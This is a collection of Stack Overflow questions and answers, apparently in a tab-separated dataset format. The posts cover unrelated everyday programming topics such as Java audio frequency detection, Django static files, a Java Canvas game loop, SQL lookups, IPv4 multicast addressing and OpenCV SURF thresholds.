4315822	0	Detect frequency of audio input - Java? <p>I've been researching this off-and-on for a few months. </p> <p>I'm looking for a <em>library</em> or <em>working example code</em> to detect the <strong>frequency in sound card audio input</strong>, or detect presence of a given set of frequencies. I'm leaning towards Java, but the real requirement is that it <em>should be something higher-level/simpler than C</em>, and <strong>preferably cross-platform</strong>. Linux will be the target platform but I want to leave options open for Mac or possibly even Windows. Python would be acceptable too, and if anyone knows of a language that would make this easier/has better pre-written libraries, I'd be willing to consider it.</p> <p>Essentially I have a <strong>defined set of frequency pairs</strong> that will appear in the soundcard audio input and I need to be able to detect this pair and then... do something, such as for example record the following audio up to a maximum duration, and then perform some action. <em>A potential run could feature say 5-10 pairs, defined at runtime, can't be compiled in</em>: something like frequency 1 for ~ 1 second, a maximum delay of ~1 second, frequency 2 for ~1 second.</p> <p>I found suggestions of either doing an FFT or Goertzel algorithm, but was unable to find any more than the simplest example code that seemed to give no useful results. I also found some limitations with Java audio and not being able to sample at a high enough rate to get the resolution I need.</p> <p>Any suggestions for libraries to use or maybe working code? I'll admit that I'm not the most mathematically inclined, so I've been lost in some of the more technical descriptions of how the algorithms actually work.</p>
14867431	0	 <p>When you assign a function to a different variable, it's <code>this</code> value changes. Since <code>getElementById</code> expects <code>this</code> to be an element, you're getting an error.</p> <p>If you're in an environment where you can use <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Function/bind" rel="nofollow"><code>bind</code></a>, use it:</p> <pre><code>(function(){ var t = document.getElementById.bind(document); t('element-id'); })(); </code></pre> <p>This'll ensure that <code>t</code>'s <code>this</code> will stay the <code>document</code> object.</p> <hr> <p>If you can't use <code>bind</code>, you'll have to create an intermediary function:</p> <pre><code>(function() { function t (id) { document.getElementById(id); } t('element-id'); })(); </code></pre>
11260383	0	 <p>If you want to create some temporary files to run tests on then you should try the JUnit Rules with <code>TemporaryFolder</code>.</p> <p><a href="http://garygregory.wordpress.com/2010/01/20/junit-tip-use-rules-to-manage-temporary-files-and-folders/" rel="nofollow">Here</a> is an example.</p> <p>That is a way to prepare your tests with necessary files.</p> <p>But it all comes down to what you actually want to do and your question is not really giving many clues...</p>
34554095	0	 <p>Do not use destructor , because .net C# is managed language</p> <p>GC class automatically call when then any class initialized,</p> <p>use ....,</p> <pre> try{ Console.WriteLine("Exception Occurred!"); }catch(Execption ex){ return; } try{ Console.WriteLine("Exception Occurred!"); }catch{ } </pre> <p>block to solve this problem. don't use destructor. I think it may help you </p>
13079237	0	Magento discount to multiple categories without discounting SKU? <p>I am applying a price rule to whole categories in my Magento store but I want to leave out a few of the items within the discounted category.</p> <p>How can I do this in the price rules? I have tried everything and it just discounts all the products and still discounts the products I want to leave at full normal price.</p> <p>Thank you so much!</p>
28901724	0	 <p>To better understand the differences between the PHP code and cURL, I created a RequestBin instance and tried both on it. They yielded drastically different results:</p> <p><img src="https://i.stack.imgur.com/py40h.png" alt="RequestBin"></p> <p>It seemed like the POST data from the PHP script yielded an incorrect result for what was sent. This can be fixed by using a built-in PHP function <a href="http://php.net/http_build_query" rel="nofollow noreferrer">http_build_query</a>.</p> <p>It will yield a more apt result:</p> <p><img src="https://i.stack.imgur.com/XnCHf.png" alt="RequestBin with fixed problem"></p>
21870282	0	what is Flags used for? <p>Would someone explain me the role of flags in functions like setFlags? What exactly does this word mean in that situation...?</p> <p>My example is </p> <pre><code>protected void onCreate(Bundle savedInstanceState) { // TODO Auto-generated method stub super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); setContentView(new RenderView(this)); } </code></pre> <p>I'd like to know what is setFlags used for?</p> <p>I've read the API documentation, but I haven't understood that.</p>
26313936	0	Can't attach css files or image to Django template <p>Surfing the internet, I found some solutions of my problem. But it didn't help(<a href="http://stackoverflow.com/questions/15491727/include-css-and-javascript-in-my-django-template">Include CSS and Javascript in my django template</a>) last answer. I added this in <code>urls.py</code>:</p> <pre><code>urlpatterns += patterns('', url(r'^media/(?P&lt;path&gt;.*)$', 'django.views.static.serve', {'document_root': settings.MEDIA_ROOT, 'show_indexes': True}), ) </code></pre> <p>This is my <code>settings.py</code>:</p> <pre><code>CURRENT_PATH = os.path.abspath(os.path.dirname(__file__).decode('utf-8')) MEDIA_ROOT = os.path.join(CURRENT_PATH, 'media') MEDIA_URL = '/media/' STATIC_ROOT = 'static/' STATIC_URL = '/static/' STATICFILES_DIRS = ( os.path.join(CURRENT_PATH, 'static'), ) </code></pre> <p>And my template:</p> <pre><code>&lt;html&gt; &lt;head lang="en"&gt; &lt;meta charset="UTF-8"&gt; &lt;link rel="stylesheet" type="text/css" href="{{ STATIC_URL }}css/main.css" /&gt; &lt;link rel="stylesheet" type="text/css" href="{{ STATIC_URL }}css/bootstrap.min.css" /&gt; &lt;link rel="stylesheet" type="text/css" href="{{ STATIC_URL }}css/font-awesome.min" /&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; {% load staticfiles %} &lt;div id="modal" class="modal fade"&gt; &lt;div class="modal-header"&gt; &lt;div&gt;Вхід у систему&lt;/div&gt; &lt;/div&gt; &lt;div class="modal-body"&gt; &lt;form action = "/login/" method="post"&gt; &lt;div&gt; &lt;label for="username"&gt;Логін:&lt;/label&gt; {{form.username}} &lt;/div&gt; &lt;div&gt; &lt;label for="password"&gt;Пароль:&lt;/label&gt; {{form.password}} &lt;/div&gt; &lt;br&gt; &lt;div&gt; &lt;input type="submit" value="Submit"&gt; &lt;/div&gt; &lt;/form&gt; &lt;/div&gt; &lt;/div&gt; &lt;img src="{{STATIC_URL}}ukraine.png" alt="My image"/&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>As the result CSS files are not working and even image isn't found. I created folder for static files: <code>D:\KIT\static\css</code></p>
17867552	0	 <p>First, add two actions for your stepper:</p> <pre><code>[theStepper addTarget:self action:@selector(stepperTapped:) forControlEvents:UIControlEventTouchDown]; [theStepper addTarget:self action:@selector(stepperValueChanged:) forControlEvents:UIControlEventValueChanged]; </code></pre> <p>Here's what those actions look like:</p> <pre><code>- (IBAction)stepperTapped:(id)sender { self.myStepper.stepValue = 1; self.myStartTime = CFAbsoluteTimeGetCurrent(); </code></pre> <p>}</p> <pre><code>- (IBAction)stepperValueChanged:(id)sender { self.myStepper.stepValue = [self stepValueForTimeSince:self.myStepperStartTime]; // handle the value change here </code></pre> <p>}</p> <p>Here's the magic code:</p> <pre><code>- (double)stepValueForTimeSince:(CFAbsoluteTime)aStartTime { double theStepValue = 1; CFAbsoluteTime theElapsedTime = CFAbsoluteTimeGetCurrent() - aStartTime; if (theElapsedTime &gt; 6.0) { theStepValue = 1000; } else if (theElapsedTime &gt; 4.0) { theStepValue = 100; } else if (theElapsedTime &gt; 2.0) { theStepValue = 10; } return theStepValue; </code></pre> <p>}</p>
9111904	0	 <p>When doing the binomial or quasibinomial <code>glm</code>, you either supply a probability of success, a two-column matrix with the columns giving the numbers of successes and failures or a factor where the first level denotes failure and the others success on the left hand side of the equation. See details in <code>?glm</code>.</p>
7583042	0	 <p>I had a similar problem when comparing magnetometer values with CoreMotion events. If you want to transform these NSTimeIntervals you just need to calculate the offset once:</p> <pre><code>// during initialisation // Get NSTimeInterval of uptime i.e. the delta: now - bootTime NSTimeInterval uptime = [NSProcessInfo processInfo].systemUptime; // Now since 1970 NSTimeInterval nowTimeIntervalSince1970 = [[NSDate date] timeIntervalSince1970]; // Voila our offset self.offset = nowTimeIntervalSince1970 - uptime; </code></pre>
26362475	0	 <pre><code>DECLARE @FixedDate DATE = '2014-11-01'; DECLARE @NextYearFixed DATE = DATEADD(year, 1, @FixedDate) -- 2015-11-01 DECLARE @PreviousYearFixed DATE = DATEADD(year, -1, @FixedDate) -- 2013-11-01 </code></pre>
38650099	0	 <p>Avoid the timer altogether.</p> <pre><code>for i as integer =0 to 100 DoSomething() next i Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick DoSomething() End Sub Sub DoSomething() ' do something End Sub </code></pre>
38874269	0	Laravel validator::make vs this->validate() <p>I have a validator in my controller which works fine (see below). </p> <pre><code>$this-&gt;validate($request,[ 'name' =&gt; 'required|alpha', 'sport' =&gt; 'required|alpha', 'gender' =&gt; 'required|alpha', 'age' =&gt; 'required|numeric', 'score' =&gt; 'required|numeric', ]); </code></pre> <p>When I get to my view, I just run this:</p> <pre><code>@if(count($errors) &gt; 0) &lt;div&gt; &lt;ul&gt; @foreach($errors-&gt;all() as $error) {{ $error }} @endforeach &lt;/ul&gt; &lt;/div&gt; @endif </code></pre> <p>The Laravel documentation uses <code>Validator::make($request...)</code> which one is better in terms of good practice and also performance? The method I used comes from a Laravel 5 Youtube tutorial series. </p>
38957921	0	 <p>You can use the crate <a href="https://crates.io/crates/chrono" rel="nofollow"><code>chrono</code></a> to achieve the same result:</p> <pre><code>extern crate chrono; use chrono::Local; fn main() { let date = Local::now(); println!("{}", date.format("%Y-%m-%d][%H:%M:%S")); } </code></pre> <p><strong>Edit:</strong></p> <p>The time crate is not deprecated: it is unmaintained.</p> <p>Besides, it is not possible to format a time using only the standard library.</p>
33771413	0	Including a JavaScript file in another JavaScript file <p>I am a newbie in developing JavaScript libraries. I've a basic doubt on how to include a <code>js</code> file into another <code>js</code> file that is dependent on the former. For example, I'm building a javascript library that replicates the class structures present in the Server code.There are cases for example, where class <code>B</code> is contained in class <code>A</code>. I want to make a seperate js file to denote class <code>B</code> and then include this in the definition of class <code>A</code>. How do I go about this ?</p> <p>I appreciate your help.</p> <p>Thanks!</p>
9184301	0	 <p>In standard C++ there is no such thing as a stack. The standard only differentiates between the different lifetimes of objects. In that case a variable declared as <code>T t;</code> is said to have automatic storage duration, which means it life-time ends with the end of it's surrounding scope. Most (all?) compilers implement this through a stack. It is a reasonable assumption that all objects created that way actually live on the stack.</p>
32631973	0	 <p>You need a border because sometimes people want a visible border between elements, not white space.</p> <p>You need padding because people want space between the content and the border and between the border and the next element.</p>
10462409	0	What is preferable way to pass objects between server and client? <p>Good day. I develop server-client application with Glassfish+ObjectDB(embeded mode) on serverside and Android application on client side. What is prefreable way (with respect to traffic and security) to send data that stored as java objects in ObjectDB to android application? (Data must be encrypted.) I think about:</p> <ul> <li>pass serializable objects through stream input/output.</li> <li>pass data as XML/JSON format.</li> </ul> <p>Or may be there is other way?</p> <p>Thx for help.</p>
28874966	0	 <p>Looking at you code I recommend to change the design to a dynamically rendered <code>Canvas</code>, <code>repaint</code> is not implementing multibuffering and may cause flickering. Also regarding your game is running to fast, you need to run your game in your own <code>Thread</code>(not the main Thread) then implement an <code>update</code> method and sync it to N times a second with <code>Thread.sleep</code>.</p> <p>The design can be something like:</p> <pre><code>public class Game extends Canvas implements Runnable { // resolution public static final int WIDTH = 640; public static final int HEIGHT = 480; // window title private static final String TITLE = "Title"; /** * Number of logical/physical updates per real second */ private static final int UPDATE_RATE = 60; /** * Number of rendering buffers */ private static final int BUFFERS_COUNT = 3; /** * Value of a second in NanoSeconds DO NOT CHANGE! */ private static final long NANOS_IN_SEC = 1000000000L; /** * Update interval in double precision NanoSeconds DO NOT CHANGE! */ private static final double UPDATE_SCALE = (double) NANOS_IN_SEC / UPDATE_RATE; private JFrame window; private Thread gameThread; private boolean running; // temp values int x = 0; int y = 0; //////////////// public Game(JFrame window) { this.window = window; this.running = false; setPreferredSize(new Dimension(WIDTH, HEIGHT)); this.window.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); // properly ends the game by calling stop when window is closed this.window.addWindowListener(new WindowAdapter() { public void windowClosing(WindowEvent e) { stop(); super.windowClosing(e); System.exit(0); } }); this.window.getContentPane().add(this); this.window.setResizable(false); this.window.pack(); this.window.setLocationRelativeTo(null); this.window.setVisible(true); } // starts the game public synchronized void start() { if (running) return; running = true; gameThread = new Thread(this); gameThread.start(); System.out.println("Game thread started"); System.out.println("UPDATE_RATE: " + UPDATE_RATE); } // ends the game public synchronized void stop() { if (!running) return; running = false; boolean retry = true; while (retry) { try { gameThread.join(); retry = false; System.out.println("Game thread stoped"); } catch (InterruptedException e) { System.out.println("Failed sopping game thread, retry in 1 second"); try { Thread.sleep(1000); } catch (InterruptedException e1) { e1.printStackTrace(); } } } } private void update() { // this will run UPDATE_RATE times a second x++; y++; } private void render() { BufferStrategy bs = getBufferStrategy(); if (bs == null) { createBufferStrategy(BUFFERS_COUNT); return; } Graphics2D g2d = (Graphics2D) bs.getDrawGraphics().create(); g2d.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); clear(g2d, 0); // render here g2d.setColor(Color.red); g2d.fillRect(x, y, 50, 50); ////////////// g2d.dispose(); bs.show(); } private void clear(Graphics2D g2d, int shade) { g2d.setColor(new Color(shade, shade, shade)); g2d.fillRect(0, 0, WIDTH, HEIGHT); } // game loop thread public void run() { long startTime = System.currentTimeMillis(); long tick = 1000; int upd = 0; int fps = 0; double updDelta = 0; long lastTime = System.nanoTime(); while (running) { long now = System.nanoTime(); updDelta += (now - lastTime) / UPDATE_SCALE; lastTime = now; while (updDelta &gt; 1) { update(); upd++; updDelta--; } render(); fps++; if (System.currentTimeMillis() - startTime &gt; tick) { window.setTitle(TITLE + " || Upd: " + upd + " | Fps: " + fps); upd = 0; fps = 0; tick += 1000; } try { Thread.sleep(5); // always a good idea to let is breath a bit } catch (InterruptedException e) { e.printStackTrace(); } } } } </code></pre> <p>Usage:</p> <pre><code>public static void main(String[] args) { try { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException e) { // TODO Auto-generated catch block e.printStackTrace(); } EventQueue.invokeLater(() -&gt; { new Game(new JFrame()).start(); }); } </code></pre> <p>Obviously this is only one way of doing this(there are a lot of other ways), feel free to tweak this to your needs. It took me about 20 minutes to write so I hope it wasn't in vain and this helps, also if you find any mistakes in the code which you cant fix let me know(I kinda wrote it without checking if it works).</p>
11893828	0	 <p>Turns out this was caused by incomplete data entered into the system. Entering a Zip Code was triggering a look-up in the Post Code table. Only this table had blank entries for County. This caused both city and state to be overridden once the user tabbed out of the field.</p> <p>The answer is to disable this functionality. Zip Codes do not respect city boundaries (i.e., there can be multiple cities in a zip code), and they don't have to respect state boundaries either. Having the system override what the user entered in makes no sense.</p>
5970224	0	 <p>I was able to figure it out. Basically, I just needed to step through each character of the string and look for a match until once was no longer found. Thanks for the help!</p> <pre><code>/* ICD9 Lookup */ USE TSiData_Suite_LWHS_V11 DECLARE @String NVARCHAR (10) DECLARE @Match NVARCHAR(10) DECLARE @Substring NVARCHAR (10) DECLARE @Description NVARCHAR(MAX) DECLARE @Length INT DECLARE @Count INT SET @String = '309.99999999' /* Remove decimal place from string */ SET @String = REPLACE(@String,'.','') /* Get lenth of string */ SET @Length = LEN(@String) /* Initialize count */ SET @Count = 1 /* Get Substring */ SET @Substring = SUBSTRING(@String,1,@Count) /* Start processing */ IF (@Length &lt; 1 OR @String IS NULL) /* Validate @String */ BEGIN SET @Description = 'No match found for string. String is not proper length.' END ELSE IF ((SELECT COUNT(*) FROM LookupDiseases WHERE REPLACE(LookupCodeDesc,'.','') LIKE @Substring + '%') &lt; 1) /* Check for at least one match */ BEGIN SET @Description = 'No match found for string.' END ELSE /* Look for matching code */ BEGIN WHILE ((SELECT COUNT(*) FROM ICD9Lookup WHERE REPLACE(LookupCodeDesc,'.','') LIKE @Substring + '%') &lt;&gt; 1 AND (@Count &lt; @Length + 1)) BEGIN /* Update substring value */ SET @Substring = SUBSTRING(@String,1,@Count + 1) /* Increment @Count */ SET @Count += 1 /* Select the first matching code and get description */ SELECT TOP(1) @Match = LookupCodeDesc, @Description = LookupName FROM ICD9Lookup WHERE REPLACE(LookupCodeDesc,'.','') LIKE @Substring + '%' ORDER BY LookupCodeDesc ASC END END PRINT @Match PRINT @Description </code></pre>
35481955	0	 <h3>As for IPv4 -- it's similar in IPv6</h3> <p><strong>Multicast addresses</strong> Theses correspond to the class D. The class D:</p> <ul> <li>First octet: 224 - 239</li> <li>First octet pattern: 1110*</li> <li>These IP addresses are multicast addresses.</li> </ul> <p>there are used for specific (routing protocol, service discovery, NTP), sometimes experimental, use-cases.</p> <p>Network nodes must perform a <em>join(multicast-address)</em> call in order to receive packet sent to the address <em>multicast-address</em>. There can be many multicast addresses present in a network.</p> <p><strong>Broadcast address</strong></p> <p>There is only <strong>one</strong> broadcast address in every network. This address is constructed with all its host-part IP address bits set to <strong>1</strong>.</p> <p>If the network is 192.168.0.0/24 the last octet is the host-part IP address (and the first three ones are the network-part IP address). The broadcast address is then 192.168.0.<strong>255</strong>.</p> <p>The broadcast address is used to send packet to <strong>all</strong> the nodes within the <strong>LAN</strong>, not further, not only the nodes that would had performed a <em>join(multicast-address)</em> call -- that make no sense.</p> <hr> <p><strong>More details <a href="http://stackoverflow.com/a/7781445/5321002">on this answer</a>.</strong></p>
39909449	0	OOP - pass one object to several others? <p>I am not quite sure if this question belongs here or to another community on stackexchange, if the latter, I could not find the right one and would be glad about a hint.</p> <p>I am at the moment programming a little game (roundbased -no threading) in Java and I am wondering: Is it bad practice if one object is known to several others?</p> <p>In my case I wonder if I should create an Object o and then pass it as a constructor argument to several other, later created objects.</p> <p>It does work, but I wonder if this should in general rather not be done?</p> <p>Does someone have an answer?</p>
14030985	0	 <p>What I find works in these situations is toggling class names instead of directly setting 'display: block'. This prevents the need for crazy selectors or using !important.</p> <pre><code>/* the default is display:block, so all we need is this one class */ .closed { display: none; } </code></pre> <hr> <pre><code>&lt;li class="collapsable"&gt; &lt;ul class="treeview"&gt; &lt;li class="collapsable"&gt; &lt;ul class="treeview" class="closed"&gt; </code></pre>
40935837	0	 <p>I wrote a little PHP wrapper for LIFX. <a href="https://github.com/ewkcoder" rel="nofollow noreferrer">https://github.com/ewkcoder</a></p>
17647325	0	 <pre><code>[WebMethod] [ScriptMethod] public bool GetFarmersByName(string name) </code></pre> <p>this method must be public static method which return some data if you want to call it by ajax..</p> <p>like</p> <pre><code>[WebMethod] [ScriptMethod] public static bool GetFarmersByName(string name) </code></pre>
22176590	0	 <p>Traditionally you would create a <code>cgi.FieldStorage</code> object, which reads stdin (usually - there are CGI standards about what it does and when). That's a bit passé nowadays. <code>Urlparse.parse_qs</code> is designed to convert from form data to dict:</p> <pre><code>&gt;&gt;&gt; import urlparse &gt;&gt;&gt; urlparse.parse_qs("prize_id=2&amp;publisher_id=32&amp;foreign_user_id=1234") {'prize_id': ['2'], 'foreign_user_id': ['1234'], 'publisher_id': ['32']} &gt;&gt;&gt; </code></pre>
22575795	0	 <p>Once I had the same problem. You added GoogleMap fragment in XML. However, <a href="http://developer.android.com/about/versions/android-4.2.html#NestedFragments" rel="nofollow">documentation</a> says:</p> <blockquote> <p><strong>Note:</strong> You cannot inflate a layout into a fragment when that layout includes a <code>&lt;fragment&gt;</code>. Nested fragments are only supported when added to a fragment dynamically.</p> </blockquote> <p>In your case, you want to inflate a layout with GoogleMaps <code>&lt;fragment&gt;</code> into ViewPager fragment, you can't do that.</p> <p>You should add GoogleMap fragment to the ViewPager from the Java code, for example with ViewGroup's (or its subclass)<a href="http://developer.android.com/reference/android/view/ViewGroup.html#addView%28android.view.View%29" rel="nofollow"><code>addView(View v)</code></a> method.</p>
22009556	0	OpenCV SURFDetector Range of minHessian <p>I'm using the OpenCV SURFDetector to search for keypoints in an image. In my program I want to give the user the opportunity to set the value of the minHessian with a trackbar, but this means that I would have to know the range of the hessian-values. </p> <p>I know that the higher I set this threshold the less keypoints I get and vice versa. </p> <p>Is there a way to calculate a range of the hessian values so I can set 0 (which would be a very high minHessian threshold) on my trackbar to “no keypoints” and 100 (which is probably minHessian=1 or 0) for “all possible keypoints”?</p> <p>I’ve already taken a look at this question, but this doesn’t help me out here: <a href="http://stackoverflow.com/questions/17613723/whats-the-meaning-of-minhessian-surffeaturedetector">Whats the meaning of minHessian (Surffeaturedetector)</a></p> <p><strong>Edit:</strong> I've found a way for my application that works, but I'm not happy with this solution. This is what I am doing now: I constantly raise my minHessian and check if I still find keypoints, but this variant is neither fast nor really exact because I have to take bigger steps (in my case i+=100) to get results faster. I'm pretty sure there is another solution. What about binary search or something similar? Is it really not possible to calculate the maxHessian value?</p> <p>Here's my code:</p> <p>C#-side:</p> <pre><code>private int getMaxHessianValue() { int maxHessian = 0; for (int i = 0; i &lt; 100000; i+=100) { int numberOfKeypoints = GetNumberOfKeypoints(pathToImage, i); if (numberOfKeypoints == 0) // no keypoints found? -&gt; maxHessian { maxHessian = i; break; } } return maxHessian; } </code></pre> <p>C++-side:</p> <pre><code>int GetNumberOfKeypoints(char* path, int minHessian) { /// Load image Mat templ; templ = imread( path, CV_LOAD_IMAGE_GRAYSCALE ); // Detect the keypoints using SURF Detector SurfFeatureDetector detector( minHessian ); std::vector&lt;KeyPoint&gt; keypoints; detector.detect( templ, keypoints ); // return number of keypoints return keypoints.size(); } </code></pre>
22886896	0	 <p>It's using recursion (of a sort) to handle one set of replacements exposing a new set characters that subsequently need replacing in the same way.</p>
4429205	0	Selenium / FlashSelenium calling the wrong methods? <p>Seems like sometimes when Selenium should call a certain method, it instead calls another, as pointed out by the following log:</p> <blockquote> <p>14:57:18.328 INFO - Command request: getEval[this.browserbot.findElement("someElement").doFlexClick('someIdOfAButton','');, ] on session 21708b0a4a154ebc96c9720c14578e74</p> <p>14:57:18.343 INFO - Got result: OK,Error: Cannot type text into someIdOfAButton on session 21708b0a4a154ebc96c9720c14578e74</p> </blockquote> <p>I've tried both Selenium server 1.0.3 and the 2.0 alpha 7 versions, they both display this behaviour. FlashSelenium is involved so I'm not sure where along the way lies the bug. Furthermore it's hard to reproduce as it doesn't happen only for some methods, and doesn't always happen. </p> <p>I've tried searching for issues similar to these but couldn't find any remotely similar... Anyone experienced the same behavior? And if so, is there a fix for it?</p> <p><strong>Edit:</strong> I doubt FlashSelenium is at fault for this, as the log tells that the command arrives correctly at the server... But I can't seem to be able to follow the path of execution from the moment the Selenium server gets the command and passes over to the browser, to the moment where it gets the response.</p>
38556594	0	 <p>Hitting <code>CTRL-C</code> tells Powershell to stop the execution of the program, yielding a <code>KeyboardInterrupt</code> error.</p> <p>A comment in the program mentions the following:</p> <p><code># Keep going until they hit CTRL-D</code></p> <p>Meaning you'll have to exit with <code>CTRL-D</code>. That doesn't seem to work, so exiting with <code>CTRL-C</code> is logical. The program is broken at the line</p> <pre><code>question, answer = convert(snippet, phrase) </code></pre> <p>because we both got the same errors.</p> <p>I've personally quit following the tutorial around Ex.25. Examing projects written in Python is far more effective because you can research the functions that the programmer/developer used for the project.</p>
8383209	0	 <p>By default find_and_modify returns the hash, check the <a href="http://api.mongodb.org/ruby/current/Mongo/Collection.html#find_and_modify-instance_method" rel="nofollow">documentation</a> </p> <p><strong>Parameters:</strong> </p> <ul> <li>opts (Hash) (defaults to: {}) — a customizable set of options</li> </ul> <p><strong>Options Hash (opts):</strong></p> <ul> <li>:query (Hash) — default: {} — a query selector document for matching the desired document.</li> <li>:update (Hash) — default: nil — the update operation to perform on the matched document.</li> <li>:sort (Array, String, OrderedHash) — default: {} — specify a sort option for the query using any of the sort options available for Cursor#sort. Sort order is important if the query will be matching multiple documents since only the first matching document will be updated and returned.</li> <li>:remove (Boolean) — default: false — If true, removes the the returned document from the collection.</li> <li>:new (Boolean) — default: false — If true, returns the updated document; otherwise, returns the document prior to update.</li> </ul> <p><strong>Returns:</strong></p> <ul> <li>(Hash) — the matched document.</li> </ul> <p>But you can convert the hash to your collection object by simply initializing the model by passing the hash as a argument</p> <pre><code> &gt;&gt; x = MyModel.collection.find_and_modify(:query =&gt; {...},:update =&gt; {...}) &gt;&gt; x.class &gt;&gt; BSON::OrderedHash &gt;&gt; obj = MyModel.new(x) &gt;&gt; obj.class &gt;&gt; MyModel </code></pre> <p>And now you can apply any mongoid operation on the converted object. It will work perfectly.</p> <p>Hope it helps</p>
30313901	0	 <p>Follow up on this problem: It appears there was a problem in my background page code that prevented calling chrome.runtime.onConnect. I fixed it and it works now.</p>
13770409	0	Re-load Unloaded Projects in EnvDTE <p>I have listed all the projects in my solution, using EnvDTE, but I found a bug in my code: I can't get the projects that are Unloaded.</p> <p>I found a way to skip the Unloaded projects:</p> <pre><code>if (string.Compare(EnvDTE.Constants.vsProjectKindUnmodeled, project.Kind, System.StringComparison.OrdinalIgnoreCase) == 0) continue; </code></pre> <p>This way, my code doesn't crash - but I am unable to load the missing projects through code, since they exist already.</p> <p>How can I Load the Unloaded projects into the solution ?</p> <p>I have tried: </p> <pre><code>project.DTE.ExecuteCommand("Project.ReloadProject"); </code></pre> <p>And got error:</p> <p>System.Runtime.InteropServices.COMException (...): Command "Project.ReloadProject" is not available.</p> <p>So I tried to somehow get </p> <pre><code>application.DTE.ExecuteCommand("Project.ReloadProject"); </code></pre> <p>But before that, from every place I searched on the NET, I must pre-select the project in the solution - and for that, I need <code>project.Name</code> (which I have), and the path, which I don't (every example I have found assumes that the solution path is the same as the project path, which is highly unlikely in a generic situation).</p>
9114531	0	 <p>A Pythonic solution might a bit like @Bogdan's, but using zip and argument unpacking</p> <pre><code>workflowname, paramname, value = zip(*[line.split(',') for line in lines]) </code></pre> <p>If you're determined to use a for construct, though, the 1st is better.</p>
40201415	0	Dynamically mount Carrierwave uploader on serialized field <p>I'm creating this app where users are able to dynamically add custom fields (<code>TemplateField</code>) to a template (<code>Template</code>) and use that template on a page (<code>Page</code>).</p> <p>The custom fields can have type text or image, and have custom naming. A user can for instance create at field named Profile picture of type image to their template.</p> <p>I can't however figure out how to dynamically mount a CarrierWave uploader to fields of type image, when everything is saved to an <code>hstore</code> attribute (<code>properties</code>) on the page model.</p> <p>Any help is much appreciated!</p> <pre><code>class Template &lt; ActiveRecord::Base has_many :template_fields has_many :pages end class Page &lt; ActiveRecord::Base belongs_to :template store_accessor :properties end class TemplateField &lt; ActiveRecord::Base belongs_to :template end </code></pre>
25060226	0	 <p>Override <code>iterator</code> method in <code>ProxyNodeManager</code>. </p> <p>You can base on how <a href="https://github.com/django/django/blob/1.6.5/django/db/models/query.py#L1066" rel="nofollow">django does it</a>.</p>
30887633	0	 <p>The first one is better because the heading should describe what to come, and is not a part of the nav. Just like h1 should not be inside p. It will probably work just fine either way though.</p>
1823408	0	 <p>Do you really want to hide the database id from the user, as in a scenario where the user has some alternate access to the database and you want him to search for the book the hard way?</p> <p>Usually the requirement is not to keep the ID secret, but to prevent the user from figuring out IDs of other items (eg. to enforce a certain funnel of navigation to reach an item) or from sharing the ID with other users. So for example is ok to have an URL <code>http://example.com/books/0867316672289</code> where the 0867316672289 will render the <em>same</em> book to the same visitor, but the user cannot poke around the value, so 0867316672288 or 0867316672290 will land 404s. It may also be required that <em>another</em> user entering 0867316672289 gets also a 404.</p> <p>Keeping the ID truly 'secret' (ie. storing it in session and having the session state keep track of 'current book') adds little value over the scheme described above and only complicates things. </p> <p>One solution is to encrypt the IDs using a site secret key. From a int ID you get a 16 bytes encrypted block (eg if AES block size is used) that can be reverted back by the site into the original ID on subsequent visits. Visitors cannot guess other IDs due to the sheer size of the solution space (16 bytes). If you want also to make the pseudo-ids sticky to an user you can make the encryption key user specific (eg. derived from user id) or add extra information into the pseudo-id (eg. encrypt also the user-id and check it in your request handler).</p>
39131393	0	 <p>Not sure if it's possible to load any app.config file during design time user control load. You can prevent the need to though by wrapping your user control load methods with:</p> <pre><code>private void myUserControl_Load(object sender, EventArgs e) { if (!this.DesignMode) { //....stuff } } </code></pre>
24191454	0	 <p>The issue might be that you are trying to Uri encode an already Uri encoded string.</p> <p>As per the Intent class documentation for the toUri() method:</p> <blockquote> <p>Convert this Intent into a String holding a URI representation of it. The returned URI string has been properly URI encoded, so it can be used with <strong>Uri.parse(String)</strong>. The URI contains the Intent's data as the base URI, with an additional fragment describing the action, categories, type, flags, package, component, and extras.</p> </blockquote> <p>So try:</p> <pre><code>String finaldata = Uri.parse(intent.toUri(Intent.URI_INTENT_SCHEME)); </code></pre>
11236851	0	 <p><code>Object.create()</code> and <code>new</code> are used for different purposes.</p> <p>You would use <code>Object.create()</code> to <code>inherit</code> from an existing object.<br> Where you use <code>new</code> to create a new <code>instance</code> of an object.</p> <p>See the following questions and answers for details:</p> <p><a href="http://stackoverflow.com/questions/4166616/understanding-the-difference-between-object-create-and-new-somefunction-in-j">Understanding the difference between Object.create() and new SomeFunction() in JavaScript</a></p> <p><a href="http://stackoverflow.com/questions/2709612/using-object-create-instead-of-new">Using &quot;Object.create&quot; instead of &quot;new&quot;</a></p>
35578509	0	Alias conversions <p>I have <code>struct AccessToken</code> as a part of external library and I use that library in my own. I'd like to return a value of this type but I do not see any reasons why my internal implementation should be visible from outside. Type alias looks great for this.</p> <pre><code>type AccessToken oauth.AccessToken </code></pre> <p>But I'm getting an error when trying to do next:</p> <pre><code>func Auth(key string, secret string) *AccessToken { ... var token oauth.AccessToken = AuthorizeToken(...) return AccessToken(*token) } </code></pre> <p>Error:</p> <pre><code>cannot use AccessToken(*accessToken) (type AccessToken) as type *AccessToken in return argument </code></pre> <p>It's clear that I can just copy structures field by fiend. But is there any way to use aliases?</p>
8409762	0	2 column floating layout, does width have to be specified for left column <p>If one uses float:left to layout two columns, does the left column have to have a width specified? Without a width assigned, when I shrink the width of the browser page, the second (main) column gets put underneath the left (navigation) column. Is there a way to avoid this, without assigning a width? If not, what is the least width spec's I need to add? I.e. can I assign a fixed pixel width to the left column, and have the right column get the rest?</p> <p>Thanks</p> <p>----- Addition -----</p> <p>After trying various answers, noting their complexity, is there any reason not to just use a two column table?</p>
